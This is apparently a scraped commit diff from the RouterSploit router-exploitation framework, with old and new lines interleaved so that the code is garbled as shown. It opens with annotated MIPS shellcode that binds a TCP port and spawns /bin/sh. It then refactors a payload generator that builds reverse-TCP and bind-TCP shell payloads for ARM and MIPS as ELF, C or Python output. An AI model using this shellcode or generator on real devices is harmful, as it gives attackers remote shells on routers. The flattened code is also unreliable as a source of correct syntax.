"\x49\x10\x02\x24" + # li v0,4169 ( __NR_bind )A
"\x0c\x01\x01\x01" + # syscall
"\x25\x20\x10\x02" + # or a0,s0,s0
"\x01\x01\x05\x24" + # li a1,257
"\x4e\x10\x02\x24" + # li v0,4174 ( __NR_listen )
"\x0c\x01\x01\x01" + # syscall
"\x25\x20\x10\x02" + # or a0,s0,s0
"\xff\xff\x05\x28" + # slti a1,zero,-1
"\xff\xff\x06\x28" + # slti a2,zero,-1
"\x48\x10\x02\x24" + # li v0,4168 ( __NR_accept )
"\x0c\x01\x01\x01" + # syscall
"\xff\xff\xa2\xaf" + # sw v0,-1(sp) # socket
"\xfd\xff\x11\x24" + # li s1,-3
"\x27\x88\x20\x02" + # nor s1,s1,zero
"\xff\xff\xa4\x8f" + # lw a0,-1(sp)
"\x21\x28\x20\x02" + # move a1,s1 # dup2_loop
"\xdf\x0f\x02\x24" + # li v0,4063 ( __NR_dup2 )
"\x0c\x01\x01\x01" + # syscall 0x40404
"\xff\xff\x10\x24" + # li s0,-1
"\xff\xff\x31\x22" + # addi s1,s1,-1
"\xfa\xff\x30\x16" + # bne s1,s0 <dup2_loop>
"\xff\xff\x06\x28" + # slti a2,zero,-1
"\x62\x69\x0f\x3c" + # lui t7,0x2f2f "bi"
"\x2f\x2f\xef\x35" + # ori t7,t7,0x6269 "//"
"\xec\xff\xaf\xaf" + # sw t7,-20(sp)
"\x73\x68\x0e\x3c" + # lui t6,0x6e2f "sh"
"\x6e\x2f\xce\x35" + # ori t6,t6,0x7368 "n/"
"\xf0\xff\xae\xaf" + # sw t6,-16(sp)
"\xf4\xff\xa0\xaf" + # sw zero,-12(sp)
"\xec\xff\xa4\x27" + # addiu a0,sp,-20
"\xf8\xff\xa4\xaf" + # sw a0,-8(sp)
"\xfc\xff\xa0\xaf" + # sw zero,-4(sp)
"\xf8\xff\xa5\x27" + # addiu a1,sp,-8
"\xab\x0f\x02\x24" + # li v0,4011 ( __NR_execve )
"\x0c\x01\x01\x01" # syscall 0x40404
)
#!/usr/bin/env python from collections import namedtuple
from struct import pack from struct import pack
import exploits
from utils import ( from routersploit import exploits, validators
print_success, from routersploit.exceptions import OptionValidationError
print_status, from utils import print_info, print_status, print_success, print_error, random_text
print_info,
print_error,
random_text architectures = namedtuple("ArchitectureType", ["ARMLE", "MIPSBE", "MIPSLE"])
payload_handlers = namedtuple("PayloadHandlers", ["BIND_TCP", "REVERSE_TCP"])
Architectures = architectures(
ARMLE="armle",
MIPSBE="mipsbe",
MIPSLE="mipsle",
)
PayloadHandlers = payload_handlers(
BIND_TCP="bind_tcp",
REVERSE_TCP="reverse_tcp",
) )
ARCH_ELF_HEADERS = { ARCH_ELF_HEADERS = {
"armle": ("\x7f\x45\x4c\x46\x01\x01\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00" Architectures.ARMLE: (
"\x02\x00\x28\x00\x01\x00\x00\x00\x54\x80\x00\x00\x34\x00\x00\x00" "\x7f\x45\x4c\x46\x01\x01\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x34\x00\x20\x00\x01\x00\x00\x00" "\x02\x00\x28\x00\x01\x00\x00\x00\x54\x80\x00\x00\x34\x00\x00\x00"
"\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x80\x00\x00" "\x00\x00\x00\x00\x00\x00\x00\x00\x34\x00\x20\x00\x01\x00\x00\x00"
"\x00\x80\x00\x00\xef\xbe\xad\xde\xef\xbe\xad\xde\x07\x00\x00\x00" "\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x80\x00\x00"
"\x00\x10\x00\x00"), "\x00\x80\x00\x00\xef\xbe\xad\xde\xef\xbe\xad\xde\x07\x00\x00\x00"
"mipsbe": ("\x7f\x45\x4c\x46\x01\x02\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00" "\x00\x10\x00\x00"
"\x00\x02\x00\x08\x00\x00\x00\x01\x00\x40\x00\x54\x00\x00\x00\x34" ),
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x34\x00\x20\x00\x01\x00\x00" Architectures.MIPSBE: (
"\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x40\x00\x00" "\x7f\x45\x4c\x46\x01\x02\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x40\x00\x00\xde\xad\xbe\xef\xde\xad\xbe\xef\x00\x00\x00\x07" "\x00\x02\x00\x08\x00\x00\x00\x01\x00\x40\x00\x54\x00\x00\x00\x34"
"\x00\x00\x10\x00"), "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x34\x00\x20\x00\x01\x00\x00"
"mipsle": ("\x7f\x45\x4c\x46\x01\x01\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00" "\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x40\x00\x00"
"\x02\x00\x08\x00\x01\x00\x00\x00\x54\x00\x40\x00\x34\x00\x00\x00" "\x00\x40\x00\x00\xde\xad\xbe\xef\xde\xad\xbe\xef\x00\x00\x00\x07"
"\x00\x00\x00\x00\x00\x00\x00\x00\x34\x00\x20\x00\x01\x00\x00\x00" "\x00\x00\x10\x00"
"\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x40\x00" ),
"\x00\x00\x40\x00\xef\xbe\xad\xde\xef\xbe\xad\xde\x07\x00\x00\x00" Architectures.MIPSLE: (
"\x00\x10\x00\x00") "\x7f\x45\x4c\x46\x01\x01\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x02\x00\x08\x00\x01\x00\x00\x00\x54\x00\x40\x00\x34\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x34\x00\x20\x00\x01\x00\x00\x00"
"\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x40\x00"
"\x00\x00\x40\x00\xef\xbe\xad\xde\xef\xbe\xad\xde\x07\x00\x00\x00"
"\x00\x10\x00\x00"
),
} }
class Payload(exploits.Exploit): class ReverseTCPPayloadMixin(object):
output = exploits.Option('python', 'Output type: elf/python') __metaclass__ = exploits.ExploitOptionsAggregator
filepath = exploits.Option("/tmp/{}".format(random_text(8)), 'Output file to write')
handler = PayloadHandlers.REVERSE_TCP
lhost = exploits.Option('', 'Connect-back IP address',
validators=validators.ipv4)
lport = exploits.Option(5555, 'Connect-back TCP Port',
validators=validators.integer)
class BindTCPPayloadMixin(object):
__metaclass__ = exploits.ExploitOptionsAggregator
handler = PayloadHandlers.BIND_TCP
rport = exploits.Option(5555, 'Bind Port',
validators=validators.integer)
class BasePayload(exploits.BaseExploit):
handler = None
def __init__(self): def __init__(self):
if self.architecture == "armle": if self.handler not in PayloadHandlers:
self.bigendian = False raise OptionValidationError(
self.header = ARCH_ELF_HEADERS['armle'] "Please use one of valid payload handlers: {}".format(
elif self.architecture == "mipsbe": PayloadHandlers._fields
self.bigendian = True )
self.header = ARCH_ELF_HEADERS['mipsbe'] )
elif self.architecture == "mipsle":
self.bigendian = False def generate(self):
self.header = ARCH_ELF_HEADERS['mipsle'] raise NotImplementedError("Please implement 'generate()' method")
else:
print_error("Define architecture. Supported architectures: armle, mipsbe, mipsle") def run(self):
return None raise NotImplementedError()
class ArchitectureSpecificPayload(BasePayload):
architecture = None
output = exploits.Option('python', 'Output type: elf/c/python')
filepath = exploits.Option(
"/tmp/{}".format(random_text(8)), 'Output file to write'
)
def __init__(self):
super(ArchitectureSpecificPayload, self).__init__()
if self.architecture not in Architectures:
raise OptionValidationError(
"Please use one of valid payload architectures: {}".format(
Architectures._fields
)
)
self.header = ARCH_ELF_HEADERS[self.architecture]
self.bigendian = True if self.architecture.endswith("be") else False
def run(self): def run(self):
print_status("Generating payload") print_status("Generating payload")
self.generate() try:
data = self.generate()
except OptionValidationError as e:
print_error(e)
return
if self.output == "elf": if self.output == "elf":
with open(self.filepath, 'w+') as f: with open(self.filepath, 'w+') as f:
print_status("Building ELF payload") print_status("Building ELF payload")
content = self.generate_elf() content = self.generate_elf(data)
print_success("Saving file {}".format(self.filepath)) print_success("Saving file {}".format(self.filepath))
f.write(content) f.write(content)
elif self.output == "c":
print_success("Bulding payload for C")
content = self.generate_c(data)
print_info(content)
elif self.output == "python": elif self.output == "python":
print_success("Building payload for python") print_success("Building payload for python")
content = self.generate_python() content = self.generate_python(data)
print_info(content) print_info(content)
else:
raise OptionValidationError(
"No such option as {}".format(self.output)
)
def convert_ip(self, addr): def generate_elf(self, data):
res = "" elf = self.header + data
for i in addr.split("."):
res += chr(int(i))
return res
def convert_port(self, p):
res = "%.4x" % int(p)
return res.decode('hex')
def generate_elf(self):
elf = self.header + self.payload
if self.bigendian: if self.bigendian:
p_filesz = pack(">L", len(elf)) p_filesz = pack(">L", len(elf))
p_memsz = pack(">L", len(elf) + len(self.payload)) p_memsz = pack(">L", len(elf) + len(data))
else: else:
p_filesz = pack("<L", len(elf)) p_filesz = pack("<L", len(elf))
p_memsz = pack("<L", len(elf) + len(self.payload)) p_memsz = pack("<L", len(elf) + len(data))
content = elf[:0x44] + p_filesz + p_memsz + elf[0x4c:] content = elf[:0x44] + p_filesz + p_memsz + elf[0x4c:]
return content return content
def generate_python(self): @staticmethod
res = "payload = (\n \"" def generate_c(data):
for idx, x in enumerate(self.payload): res = "unsigned char sh[] = {\n \""
for idx, x in enumerate(data):
if idx % 15 == 0 and idx != 0: if idx % 15 == 0 and idx != 0:
res += "\"\n \"" res += "\"\n \""
res += "\\x%02x" % ord(x)
res += "\"\n};"
return res
@staticmethod
def generate_python(data):
res = "payload = (\n \""
for idx, x in enumerate(data):
if idx % 15 == 0 and idx != 0:
res += "\"\n \""
res += "\\x%02x" % ord(x) res += "\\x%02x" % ord(x)
res += "\"\n)" res += "\"\n)"
return res return res
class GenericPayload(BasePayload):
def run(self):
print_status("Generating payload")
print_info(
self.generate()
)
...@@ -90,8 +90,8 @@ class OptionTest(RoutersploitTestCase): ...@@ -90,8 +90,8 @@ class OptionTest(RoutersploitTestCase):
self.assertEqual(str(TestExploitFoo()), os.path.join('exploits', 'foo', 'bar')) self.assertEqual(str(TestExploitFoo()), os.path.join('exploits', 'foo', 'bar'))
def test_exploit_options_property(self): def test_exploit_options_property(self):
self.assertEqual(self.exploit_bar.options, ['paa', 'doo']) self.assertEqual(self.exploit_bar.options, ['paa', 'target', 'doo'])
self.assertEqual(self.exploit_foo.options, ['paa', 'doo']) self.assertEqual(self.exploit_foo.options, ['paa', 'target', 'doo'])
if __name__ == '__main__': if __name__ == '__main__':
......
...@@ -26,7 +26,10 @@ def choice(valid_values): ...@@ -26,7 +26,10 @@ def choice(valid_values):
def _enum(value): def _enum(value):
if value not in valid_values: if value not in valid_values:
raise OptionValidationError("Selected '{}' value isn't correct. Possible values are: {}".format(value, valid_values)) raise OptionValidationError(
"Selected '{}' value isn't correct. "
"Possible values are: {}".format(value, valid_values)
)
return value return value
...@@ -60,7 +63,8 @@ def boolify(value): ...@@ -60,7 +63,8 @@ def boolify(value):
True -> "True", "t", "yes", "y", "on", "1" True -> "True", "t", "yes", "y", "on", "1"
False -> any other string False -> any other string
Objects other than string will be transformed using built-in bool() function. Objects other than string will be transformed
using built-in bool() function.
""" """
if isinstance(value, basestring): if isinstance(value, basestring):
try: try:
...@@ -76,4 +80,30 @@ def integer(number): ...@@ -76,4 +80,30 @@ def integer(number):
try: try:
return int(number) return int(number)
except ValueError: except ValueError:
raise OptionValidationError("Invalid option. can't cast '{}' to integer.".format(number)) raise OptionValidationError(
"Invalid option. can't cast '{}' to integer.".format(number)
)
def convert_ip(address):
""" Convert IP to bytes"""
try:
res = ""
for i in address.split("."):
res += chr(int(i))
return res
except Exception:
raise OptionValidationError(
"Invalid option. '{}' is not a valid IP address".format(address)
)
def convert_port(port):
""" Convert Port to bytes"""
try:
res = "%.4x" % int(port)
return res.decode('hex')
except Exception:
raise OptionValidationError(
"Invalid option. '{}' is not a valid port number".format(port)
)
...@@ -26,6 +26,7 @@ def routersploit(): ...@@ -26,6 +26,7 @@ def routersploit():
rsf = RoutersploitInterpreter() rsf = RoutersploitInterpreter()
rsf.start() rsf.start()
if __name__ == "__main__": if __name__ == "__main__":
args = parser.parse_args() args = parser.parse_args()
......
Markdown is supported
0% or
You are about to add 0 people to the discussion. Proceed with caution.
Finish editing this message first!
Please register or to comment